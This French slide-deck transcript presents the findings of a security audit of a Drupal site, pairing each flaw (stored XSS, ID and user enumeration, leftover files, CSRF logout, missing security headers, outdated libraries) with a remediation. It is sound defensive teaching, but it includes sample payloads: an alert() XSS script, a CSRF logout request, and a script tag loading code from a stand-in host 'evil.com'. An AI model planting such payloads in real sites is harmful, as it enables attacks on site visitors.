Sessions ‘‘Expertises’’

55
Sessions ‘‘Expertises’’ « Retour d’expérience : Audit de sécurité d’un site Drupal » 15, 16 et 17 février

Transcript of Sessions ‘‘Expertises’’

Page 1: Sessions ‘‘Expertises’’

Sessions ‘‘Expertises’’

« Retour d’expérience : Auditde sécurité d’un site Drupal »

15, 16 et 17 février

Page 2: Sessions ‘‘Expertises’’

‘‘Hello world’’

Page 3: Sessions ‘‘Expertises’’

@laborouge @imagospirit

Page 4: Sessions ‘‘Expertises’’

Anonymat

Page 5: Sessions ‘‘Expertises’’

TOP DISCOUNTVortre argent, c'est le notre

Page 6: Sessions ‘‘Expertises’’

Top SécuritéVotre ordinateur, c'est le notre

Page 7: Sessions ‘‘Expertises’’

Contexte

Page 8: Sessions ‘‘Expertises’’

Choix techniques

● Drupal● Pas d’utilisation de la suite « commerce »● Utilisation de « form API »● Implantation manuelle du paiement en ligne

Page 9: Sessions ‘‘Expertises’’

Classement

● Faille mineure● Faille importante● Faille majeure

Page 10: Sessions ‘‘Expertises’’

1 . XSS Stored :exécutionde code JavaScript

Page 11: Sessions ‘‘Expertises’’

XSS Stored

● XSS persistante : il s'agit de l'attaque la plus dangereuse. Un attaquant peut injecter un code dans le serveur du site vulnérable et ainsi infecté toutes les personnes visitant cette page.

● XSS non persistante : ce type d'XSS est beaucoup plus répandu. Le script de l'attaquant doit faire partie de la requête de la victime pour être exécuté.

Page 12: Sessions ‘‘Expertises’’

Exemple

<script>alert('Clique moi grand fou !!!');</script>

Page 13: Sessions ‘‘Expertises’’

Solution

● Sanitization functions– filter_xss()– check_markup()

Page 14: Sessions ‘‘Expertises’’

Retour d’expérience

● Deux lignes de code à implanter● Rien n’est acquis !!!● Des tests ! Et toujours des tests !

Page 15: Sessions ‘‘Expertises’’

2 . Énumérationdes paiements

Page 16: Sessions ‘‘Expertises’’

Exemple

/paiements/666

Page 17: Sessions ‘‘Expertises’’

Préconisation

● Limiter l'accès à ces pages● Génération d'un identifiant non devinable

Page 18: Sessions ‘‘Expertises’’

Solution

● drupal_random_key()

/paiements/666

=

/paiements/666?id=OfhW2Spw6SnNtbBL4CLE4d1SYOo5LLC6

Page 19: Sessions ‘‘Expertises’’

Retour d’expérience

● Confirmation de la préconisation post développement

● Le client à conscience du risque● 1 ligne de code à implanter

Page 20: Sessions ‘‘Expertises’’

3 . Énumérationdes utilisateurs

Page 21: Sessions ‘‘Expertises’’

Exemple

/users/admin-top-discount = 403

/users/bradpitt = 404

Page 22: Sessions ‘‘Expertises’’

Solution

● Retravailler les URLs des utilisateurs● Module « Rename Admin Paths »● Module « Username Enumeration Prevention »

Page 23: Sessions ‘‘Expertises’’

Retour d’expérience

● Peu de charge de travail● ‘Il y a un module pour ça’

Page 24: Sessions ‘‘Expertises’’

4 . Fichiers inutilesau fonctionnement

de la production

Page 25: Sessions ‘‘Expertises’’

Exemple

/CHANGELOG.txt

/INSTALL.mysql.txt

/sites/all/modules/ckeditor_link/README.txt

Page 26: Sessions ‘‘Expertises’’

Solution

● Suppression des fichiers ?● Limitation d’accès ?

Page 27: Sessions ‘‘Expertises’’

<IfModule mod_rewrite.c>

RewriteEngine on

RewriteRule ^(.*)README\.txt$ - [F]

RewriteRule ^(.*)README\.md$ - [F]

RewriteRule ^(.*)README\.markdown$ - [F]

</IfModule>

Page 28: Sessions ‘‘Expertises’’

Retour d’expérience

● Un vrai choix technique● Peu onéreux en temps

Page 29: Sessions ‘‘Expertises’’

5 . Fuite d'information : fichier de template

Page 30: Sessions ‘‘Expertises’’

Exemple

<!-- FILE NAME SUGGESTIONS:

* html--user--login.html.twig

* html--user.html.twig

x html.html.twig

-->

Page 31: Sessions ‘‘Expertises’’

Solution

● Une check-list avant la mise en production ?

Page 32: Sessions ‘‘Expertises’’

Retour d’expérience

● De la vigilance !!!

Page 33: Sessions ‘‘Expertises’’

6 . CSRF : déconnexion utilisateur

Page 34: Sessions ‘‘Expertises’’

Exemple

<script>jQuery.get("https://mon-site.fr/user/logout")</script>

Page 35: Sessions ‘‘Expertises’’

Préconisation

● Requête HTTP en POST● Token CSRF

Page 36: Sessions ‘‘Expertises’’

Retour d’expérience

● Recherche de solution technique = aucune● Réécrire le CMS ?

Page 37: Sessions ‘‘Expertises’’

7 . En-tetes HTTP :Strict-Transport-Security

Page 38: Sessions ‘‘Expertises’’

8 . En-tetes HTTP :Content-Security-Policy

Page 39: Sessions ‘‘Expertises’’

Exemple

<script src="https://evil.com/exploit.js"></script>

Page 40: Sessions ‘‘Expertises’’

Solution

● Implantation du module « Security Kit »● Ou implantation du code sans passer par un

module

Page 41: Sessions ‘‘Expertises’’

Retour d’expérience

● Une prise de conscience sur cette bonne pratique

● Beaucoup de test● Onéreux en temps la première fois

Page 42: Sessions ‘‘Expertises’’

9 . En-tetes HTTP : fuite d'information sur la version

Page 43: Sessions ‘‘Expertises’’

Exemple

Page 44: Sessions ‘‘Expertises’’

Solution

● Implantation directement sur l’hébergement

Page 45: Sessions ‘‘Expertises’’

Retour d’expérience

● Recherche de documentation● Contrôler son hébergement !● Onéreux en temps

Page 46: Sessions ‘‘Expertises’’

10 . Multiples vulnérabilités : CKEditor

Page 47: Sessions ‘‘Expertises’’

Exemple

alert(CKEDITOR.version) ;

Page 48: Sessions ‘‘Expertises’’

Solution

● Mettre à jour !● Des outils d’alertes

Page 49: Sessions ‘‘Expertises’’

Retour d’expérience

● Peu onéreux en temps● Mise en place d’outil de veille

Page 50: Sessions ‘‘Expertises’’

11 . Multiples vulnérabilités : PHPMailer

Page 51: Sessions ‘‘Expertises’’

Solution

● Mettre à jour !

Page 52: Sessions ‘‘Expertises’’

Retour d’expérience

● Adaptation du module avec la bonne version de PHPMailer

● Onéreux en temps

Page 53: Sessions ‘‘Expertises’’

Conclusion

Page 54: Sessions ‘‘Expertises’’

Retour d’expérience

● Très formateur● Des acquis qui ne l’étaient pas● Hausse de compétence● Hausse de vigilance● Implantation de base

Page 55: Sessions ‘‘Expertises’’

FAQ